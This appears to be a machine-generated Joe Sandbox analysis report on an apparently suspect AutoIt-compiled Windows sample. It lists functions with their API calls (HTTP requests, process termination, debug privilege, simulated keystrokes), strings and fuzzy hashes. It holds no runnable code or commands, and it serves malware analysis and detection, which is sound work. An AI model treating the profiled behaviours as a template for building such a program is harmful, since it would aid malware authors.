                                                          • Opcode Fuzzy Hash: c645709d624a701d7ba82a02c0d9523843d8d2d2e32848b49d0c4e31f604b307
                                                          • Instruction Fuzzy Hash: 9B71D131500209DFCF258F64E884ABE3FB5FF5A310F24427AED595A2A6D7309C85EB60
                                                          Function 00561A15 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 134networkCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00561A50
                                                          • HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00561A7C
                                                          • InternetQueryOptionW.WININET(00000000,0000001F,00000000,?), ref: 00561ABE
                                                          • InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 00561AD3
                                                          • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00561AE0
                                                          • HttpQueryInfoW.WININET(00000000,00000005,?,?,00000000), ref: 00561B10
                                                          • InternetCloseHandle.WININET(00000000), ref: 00561B57
                                                            • Part of subcall function 00562483: GetLastError.KERNEL32(?,?,00561817,00000000,00000000,00000001), ref: 00562498
                                                            • Part of subcall function 00562483: SetEvent.KERNEL32(?,?,00561817,00000000,00000000,00000001), ref: 005624AD
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Internet$Http$OptionQueryRequest$CloseConnectErrorEventHandleInfoLastOpenSend
                                                          • String ID:
                                                          • API String ID: 2603140658-3916222277
                                                          • Opcode ID: 1924fabf2d935719fb59d3db0dce8bca099c59539b42181d2f40f1e9437513a1
                                                          • Instruction ID: 3b5fdaed96e65ddd79af4b766ce1eb43f484224e5edb71b6919a71dd18b42732
                                                          • Opcode Fuzzy Hash: 1924fabf2d935719fb59d3db0dce8bca099c59539b42181d2f40f1e9437513a1
                                                          • Instruction Fuzzy Hash: 21418EB1501A09BFEB158F50DC89FFA7BACFF08354F044126F9059B151EB709E449BA4
                                                          Function 0054F7A1 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 75windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,0052E2A0,00000010,?,Bad directive syntax error,0057F910,00000000,?,?,?,>>>AUTOIT SCRIPT<<<), ref: 0054F7C2
                                                          • LoadStringW.USER32(00000000,?,0052E2A0,00000010), ref: 0054F7C9
                                                          • MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 0054F88D
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: HandleLoadMessageModuleString
                                                          • String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
                                                          • API String ID: 2734547477-4153970271
                                                          • Opcode ID: 7641b4a804653cbbe13aef5cf4ff22cc38f2072066bb998f7421bbbd618bd829
                                                          • Instruction ID: 9f0d09145c0552816f6cb00ef8f651fd7cf3e54c053d735c01ae38837a3ae0b9
                                                          • Opcode Fuzzy Hash: 7641b4a804653cbbe13aef5cf4ff22cc38f2072066bb998f7421bbbd618bd829
                                                          • Instruction Fuzzy Hash: 1521803290021EEFDF11EF90DC1AEFE7B39BF18304F04046AF605660A1EA759A58DB55
                                                          Function 00549163 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 72windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetParent.USER32 ref: 0054916F
                                                          • GetClassNameW.USER32(00000000,?,00000100), ref: 00549184
                                                          • SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00549211
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: ClassMessageNameParentSend
                                                          • String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
                                                          • API String ID: 1290815626-3381328864
                                                          • Opcode ID: 2f6272c26772322019b3768b57c07a4c43db3a776aeb8d880af6f96ccb56b1fc
                                                          • Instruction ID: ba114e46a4749569daa8a0b5c5d4069067a2a1d55f5c81f2498b7d65ef89a5ee
                                                          • Opcode Fuzzy Hash: 2f6272c26772322019b3768b57c07a4c43db3a776aeb8d880af6f96ccb56b1fc
                                                          • Instruction Fuzzy Hash: 1511CA3A24C30BBDFB152624EC0BDFB3F9CFB55724F200526FA14A54D1FEA268A16654
                                                          Function 00568C46 Relevance: 13.9, APIs: 9, Instructions: 438COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetModuleFileNameW.KERNEL32(?,?,00000104,?,0057F910), ref: 00568D28
                                                          • FreeLibrary.KERNEL32(00000000,00000001,00000000,?,0057F910), ref: 00568D5C
                                                          • QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00568ED6
                                                          • SysFreeString.OLEAUT32(?), ref: 00568F00
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Free$FileLibraryModuleNamePathQueryStringType
                                                          • String ID:
                                                          • API String ID: 560350794-0
                                                          • Opcode ID: c7bd3c5457914f145e9497841861910f2a8175a316c3622b1c2758df6f8bb2a6
                                                          • Instruction ID: dc517c0dec8a77ec8d72e05ea1b7e259f073883526d18e95c8097e7e19923512
                                                          • Opcode Fuzzy Hash: c7bd3c5457914f145e9497841861910f2a8175a316c3622b1c2758df6f8bb2a6
                                                          • Instruction Fuzzy Hash: 65F14871A00209EFCF14DF94C888EBEBBB9BF49314F108599F915AB251DB31AE45DB50
                                                          Function 00578645 Relevance: 13.7, APIs: 9, Instructions: 168COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 005786FF
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: InvalidateRect
                                                          • String ID:
                                                          • API String ID: 634782764-0
                                                          • Opcode ID: 4f5ef4686e69c1034c17ba7d94143ed671c71697dd473ab5a48317562aa63e0f
                                                          • Instruction ID: 434717ed250cc248228148490d0a30a9fffe984911e9ba1c88a0cea27ffcead2
                                                          • Opcode Fuzzy Hash: 4f5ef4686e69c1034c17ba7d94143ed671c71697dd473ab5a48317562aa63e0f
                                                          • Instruction Fuzzy Hash: 3451A130680204BEEB249F25AC8DFBD3F64FB15714F608516FA1DD61A1CB72A980FB51
                                                          Function 004F2B72 Relevance: 13.7, APIs: 9, Instructions: 161windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 0052C2F7
                                                          • ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0052C319
                                                          • LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 0052C331
                                                          • ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 0052C34F
                                                          • SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 0052C370
                                                          • DestroyIcon.USER32(00000000), ref: 0052C37F
                                                          • SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 0052C39C
                                                          • DestroyIcon.USER32(?), ref: 0052C3AB
                                                            • Part of subcall function 0057A4AF: DeleteObject.GDI32(00000000), ref: 0057A4E8
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Icon$DestroyExtractImageLoadMessageSend$DeleteObject
                                                          • String ID:
                                                          • API String ID: 2819616528-0
                                                          • Opcode ID: 61b401ffb507f3d189195dc10aab3a6f5f70e80f40cfeb9ef0fb414fb05e6b28
                                                          • Instruction ID: 32bdb85cb3b716208f159fcd208d08e13ea074a0a29b52261a89595936f96e7c
                                                          • Opcode Fuzzy Hash: 61b401ffb507f3d189195dc10aab3a6f5f70e80f40cfeb9ef0fb414fb05e6b28
                                                          • Instruction Fuzzy Hash: CC517870600209AFDB24DF65DD45BAE3BB5FF68310F204929FA0697290DBB4AD91EB50
                                                          Function 0054966E Relevance: 13.6, APIs: 9, Instructions: 66sleepkeyboardwindowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 0054A82C: GetWindowThreadProcessId.USER32(?,00000000), ref: 0054A84C
                                                            • Part of subcall function 0054A82C: GetCurrentThreadId.KERNEL32 ref: 0054A853
                                                            • Part of subcall function 0054A82C: AttachThreadInput.USER32(00000000,?,00549683,?,00000001), ref: 0054A85A
                                                          • MapVirtualKeyW.USER32(00000025,00000000), ref: 0054968E
                                                          • PostMessageW.USER32(?,00000100,00000025,00000000), ref: 005496AB
                                                          • Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 005496AE
                                                          • MapVirtualKeyW.USER32(00000025,00000000), ref: 005496B7
                                                          • PostMessageW.USER32(?,00000100,00000027,00000000), ref: 005496D5
                                                          • Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 005496D8
                                                          • MapVirtualKeyW.USER32(00000025,00000000), ref: 005496E1
                                                          • PostMessageW.USER32(?,00000101,00000027,00000000), ref: 005496F8
                                                          • Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 005496FB
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
                                                          • String ID:
                                                          • API String ID: 2014098862-0
                                                          • Opcode ID: 221bce22017734c473cfd0ac8531cc35da1a560181c9ac3350d263cf16fce0cf
                                                          • Instruction ID: fe03d4d04142ed44b3a35663b1b50aabdca7bea141a49a84d9118827c0bc4af2
                                                          • Opcode Fuzzy Hash: 221bce22017734c473cfd0ac8531cc35da1a560181c9ac3350d263cf16fce0cf
                                                          • Instruction Fuzzy Hash: DE118671550618BFF610AB60EC4DF6A7E1DEB5C765F510425F2489B0A0C9F25C50EBA4
                                                          Function 00548921 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,0054853C,00000B00,?,?), ref: 0054892A
                                                          • HeapAlloc.KERNEL32(00000000,?,0054853C,00000B00,?,?), ref: 00548931
                                                          • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,0054853C,00000B00,?,?), ref: 00548946
                                                          • GetCurrentProcess.KERNEL32(?,00000000,?,0054853C,00000B00,?,?), ref: 0054894E
                                                          • DuplicateHandle.KERNEL32(00000000,?,0054853C,00000B00,?,?), ref: 00548951
                                                          • GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,0054853C,00000B00,?,?), ref: 00548961
                                                          • GetCurrentProcess.KERNEL32(0054853C,00000000,?,0054853C,00000B00,?,?), ref: 00548969
                                                          • DuplicateHandle.KERNEL32(00000000,?,0054853C,00000B00,?,?), ref: 0054896C
                                                          • CreateThread.KERNEL32(00000000,00000000,00548992,00000000,00000000,00000000), ref: 00548986
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
                                                          • String ID:
                                                          • API String ID: 1957940570-0
                                                          • Opcode ID: dc6112cab23b4ec5db781fbc2eda1386169285a5f640d018bc5ae8e9a0d6ce86
                                                          • Instruction ID: 532ca864fa7f18f64e004e510ee00796df3b4ef11f1c3713cd479dca033ae323
                                                          • Opcode Fuzzy Hash: dc6112cab23b4ec5db781fbc2eda1386169285a5f640d018bc5ae8e9a0d6ce86
                                                          • Instruction Fuzzy Hash: 6E01AC75240304FFE610EFA5EC49F6B3B6CEB99711F404421FA09DB191CA709844EB20
                                                          Function 00569113 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 263COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Variant$ClearInit
                                                          • String ID: ,,X$Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
                                                          • API String ID: 2610073882-1533762625
                                                          • Opcode ID: 3181225cc70424c8c58a078effa79676c431181d50cd765ed3c55ed7ec583ac5
                                                          • Instruction ID: c0c3ebc168004b167328d5aee83f503de7a5dddb6918fa2d5e539bf3ea246c00
                                                          • Opcode Fuzzy Hash: 3181225cc70424c8c58a078effa79676c431181d50cd765ed3c55ed7ec583ac5
                                                          • Instruction Fuzzy Hash: E3917C71A00219EBDF24DFA5D848FAEBBB8FF85710F108959F915AB280D7709945CBA0
                                                          Function 0051A1C8 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 151fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetModuleFileNameW.KERNEL32(00000000,005B33BA,00000104,?,00000001,00000000), ref: 0051A25A
                                                          • GetStdHandle.KERNEL32(000000F4,?,00000001,00000000), ref: 0051A314
                                                          • WriteFile.KERNEL32(00000000,?,00000000,?,00000000,?,00000001,00000000), ref: 0051A363
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: File$HandleModuleNameWrite
                                                          • String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
                                                          • API String ID: 3784150691-4022980321
                                                          • Opcode ID: c61f8857b1721dc43106133fbcfa74b7839a4d2af4b5348bac51b86feea10acb
                                                          • Instruction ID: 42f72a00a3873034257600de3d3d667ef585f18ec82bad90384ec484d814328d
                                                          • Opcode Fuzzy Hash: c61f8857b1721dc43106133fbcfa74b7839a4d2af4b5348bac51b86feea10acb
                                                          • Instruction Fuzzy Hash: 2E412A31A4161676F72377B8AC0ABEB3F587F55710F000539FD15F21C2FA219B848692
                                                          Function 0056E933 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 00553C55: CreateToolhelp32Snapshot.KERNEL32 ref: 00553C7A
                                                            • Part of subcall function 00553C55: Process32FirstW.KERNEL32(00000000,?), ref: 00553C88
                                                            • Part of subcall function 00553C55: CloseHandle.KERNEL32(00000000), ref: 00553D52
                                                          • OpenProcess.KERNEL32(00000001,00000000,?), ref: 0056E9A4
                                                          • GetLastError.KERNEL32 ref: 0056E9B7
                                                          • OpenProcess.KERNEL32(00000001,00000000,?), ref: 0056E9E6
                                                          • TerminateProcess.KERNEL32(00000000,00000000), ref: 0056EA63
                                                          • GetLastError.KERNEL32(00000000), ref: 0056EA6E
                                                          • CloseHandle.KERNEL32(00000000), ref: 0056EAA3
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
                                                          • String ID: SeDebugPrivilege
                                                          • API String ID: 2533919879-2896544425
                                                          • Opcode ID: 2b311a95e9f177d02afcf8c8355da64da26fb675a1e404ce2cfb7957946ebef8
                                                          • Instruction ID: 260bd2948d23a1595b4c8e551f7eb196f14d696c54b2a302bb9aa574b62c7b5f
                                                          • Opcode Fuzzy Hash: 2b311a95e9f177d02afcf8c8355da64da26fb675a1e404ce2cfb7957946ebef8
                                                          • Instruction Fuzzy Hash: 5E41AC312002019FDB14EF64CC9AFBDBBA5BF90358F088459F9069B2C2DB75AC48DB95
                                                          Function 0056F694 Relevance: 12.4, APIs: 8, Instructions: 386processCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0056F848
                                                          • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0056F86C
                                                          • GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0056F8AC
                                                          • GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0056F8CE
                                                          • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 0056FA4A
                                                          • GetLastError.KERNEL32(00000000,00000001,00000000), ref: 0056FA7C
                                                          • CloseHandle.KERNEL32(?), ref: 0056FAAB
                                                          • CloseHandle.KERNEL32(?), ref: 0056FB22
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess
                                                          • String ID:
                                                          • API String ID: 2947177986-0
                                                          • Opcode ID: 720db19cbdfeb77b5b4485316dd96f8fa1bd5cfa60d0c6d7a65bf8e7b1a8eb60
                                                          • Instruction ID: d62958dc7be44f39b1e1036db001b420a3e78abdd5c8fbf2dfa01f7faf203986
                                                          • Opcode Fuzzy Hash: 720db19cbdfeb77b5b4485316dd96f8fa1bd5cfa60d0c6d7a65bf8e7b1a8eb60
                                                          • Instruction Fuzzy Hash: 84E1AE31A042019FD714EF25E895B6ABFE1FF85354F14896DF8998B2A2CB30EC45CB52
                                                          Function 00552F94 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 82windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • LoadIconW.USER32(00000000,00007F03), ref: 00553033
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: IconLoad
                                                          • String ID: blank$info$question$stop$warning
                                                          • API String ID: 2457776203-404129466
                                                          • Opcode ID: e4749434da6974a1c0eb50120108076883b2ff82e64cd8d7f09443b162aecdd3
                                                          • Instruction ID: 6eac71a03ac12dda320e09243995915033998b8a349910486e53000a88602f66
                                                          • Opcode Fuzzy Hash: e4749434da6974a1c0eb50120108076883b2ff82e64cd8d7f09443b162aecdd3
                                                          • Instruction Fuzzy Hash: 3D11083164C346BAE7159A14DC5ACBF7F9CBF1A3A1F10002BFD08A61C1DA655F4856A0
                                                          Function 00557990 Relevance: 12.3, APIs: 8, Instructions: 292COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SafeArrayGetVartype.OLEAUT32(00000000,?), ref: 00557A6C
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: ArraySafeVartype
                                                          • String ID:
                                                          • API String ID: 1725837607-0
                                                          • Opcode ID: c998e536f8b71cb3bb3ee20a6c025badc026a8796e73cccff41108c917337fd5
                                                          • Instruction ID: 5d17944f8f39054e0c1e32feb6b0472d9b6a2542ac3269211732af1f6bbb162f
                                                          • Opcode Fuzzy Hash: c998e536f8b71cb3bb3ee20a6c025badc026a8796e73cccff41108c917337fd5
                                                          • Instruction Fuzzy Hash: 61B16D7190421E9FDB00DF94E8A5BBEBBB5FF49322F20442AE901E7241D774AD49DB90
                                                          Function 0057D43E Relevance: 12.3, APIs: 8, Instructions: 257windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 004F2612: GetWindowLongW.USER32(?,000000EB), ref: 004F2623
